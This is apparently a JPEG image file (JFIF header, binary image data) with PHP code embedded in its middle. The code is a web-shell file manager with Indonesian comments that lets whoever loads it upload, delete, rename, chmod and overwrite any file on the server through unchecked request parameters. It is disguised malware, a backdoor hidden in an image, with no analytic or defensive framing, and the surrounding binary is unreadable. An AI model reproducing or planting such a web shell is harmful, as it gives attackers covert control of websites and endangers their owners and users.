JFIF
"; // Menampilkan file dalam direktori saat ini $files = getFiles($currentDirectory); // Tampilkan tombol navigasi untuk direktori di atas $parentDirectory = dirname($currentDirectory); echo "ChangeDir

"; // Tampilkan file dalam tabel echo ""; echo ""; foreach ($files as $file) { echo ""; } echo "
File NameActions
$file"; echo "Delete | "; echo "Rename | "; echo "Chmod | "; echo "Edit"; // Tambahkan tautan untuk mengedit file echo "
"; // Tampilkan tombol navigasi untuk direktori di bawah foreach ($files as $file) { if (is_dir($currentDirectory . '/' . $file)) { echo "$file
"; } } // Proses aksi yang diminta if (isset($_GET['action'])) { switch ($_GET['action']) { case 'upload': if ($_SERVER['REQUEST_METHOD'] === 'POST') { uploadFile($currentDirectory . '/', 'fileToUpload'); } else { echo "
Select file to upload:
"; } break; case 'delete': $fileToDelete = $_GET['file']; deleteFile($currentDirectory . '/' . $fileToDelete); break; case 'rename': if ($_SERVER['REQUEST_METHOD'] === 'POST') { $oldName = $_GET['file']; $newName = $_POST['newName']; renameFile($currentDirectory . '/' . $oldName, $currentDirectory . '/' . $newName); } else { $fileToRename = $_GET['file']; echo "
New Name:
"; } break; case 'chmod': if ($_SERVER['REQUEST_METHOD'] === 'POST') { $fileToChmod = $_GET['file']; $newMode = $_POST['newMode']; chmodFile($currentDirectory . '/' . $fileToChmod, $newMode); } else { $fileToChmod = $_GET['file']; echo "
New Mode (Octal):
"; } break; case 'edit': $fileToEdit = $_GET['file']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newContent = $_POST['newContent']; editFile($currentDirectory . '/' . $fileToEdit, $newContent); } else { $fileContent = file_get_contents($currentDirectory . '/' . $fileToEdit); echo "
New Content:

"; } break; default: echo "Aksi tidak valid."; break; } } ?> scan_date=Fri May 10 19:21:27 2024 CI26@6-I@;@RMIVmvmddmޟCMRRm_mvv"4!1AQ"aq23Rrb#4BS ?Pa(ZP@FQj@iaZ4-FnLL FZr㕮Rd)ZWFe%4!/#H^ClkiHC$u)eOkfdaBbl vHrʈr~ eUM-5HSQQIJ? $Ҏ dtz@OtohW1_&*EF.SQwdBJ8ۭ'}Qud BJWvܠ8KT:sKLr6T E@ L`EԗDP>F4j]v&zC从Afr\ 3[sltyeB`0(v+*$"(B ؈KL#NJ6sb:/ ؛}+0-kw*BԻj]{ Ipd؛mɚVYɊ;Eݰ5!@U + t6@m.NytG%*L[s~QxeKly:w1~QQadBzC  (%n@ {![ST\=,s\e @2]RRkcKm2jN>[L4{++yYk,g5k؎S7nG?+pe*^remR;*C /FNS]M"Y1c:iwK\5*/@tK_<1t %v`PDhsܛH EJH+FDV=i+i(\Fmt SHˢo~G@WH(E= 0x:f呉] twm&277DQC>%w/c0:::@#B"vǪ4hD5LEE+ZUU匀)*>)H/:se'FXD%іbnc"jR4`bݱ,Y#)BI.MEIť.pt [*5\c).Q2wdW%5($vEL/p5($vZumȷndڷ2+0V'N„%BOz4%uwwr+tSn@RA+@:i@nI6D)\vd R|:gڌkCH1FPȢԻ5%W ouW-i-]jjP- 2~fF)p5SD_NZ|f5rJ3»7`e?x)ҩzÑ夨jy8c5|K.Xd2Imr^k.fKPGfo>hv GYˎ6]2oJj袲Q{;iiϕYS~' Iһl_%`GԹKTq>_8~:?c oL>OJW5ĠTl"l8*w}_ %$`Q}(#&6IN3KejR37U޽q\캜Ȁ{m5CLJ{>iPܔnRsRrzS6~icPszWJD=J*ZRm6Ըt껺9|GmWB|Ӕ6Ek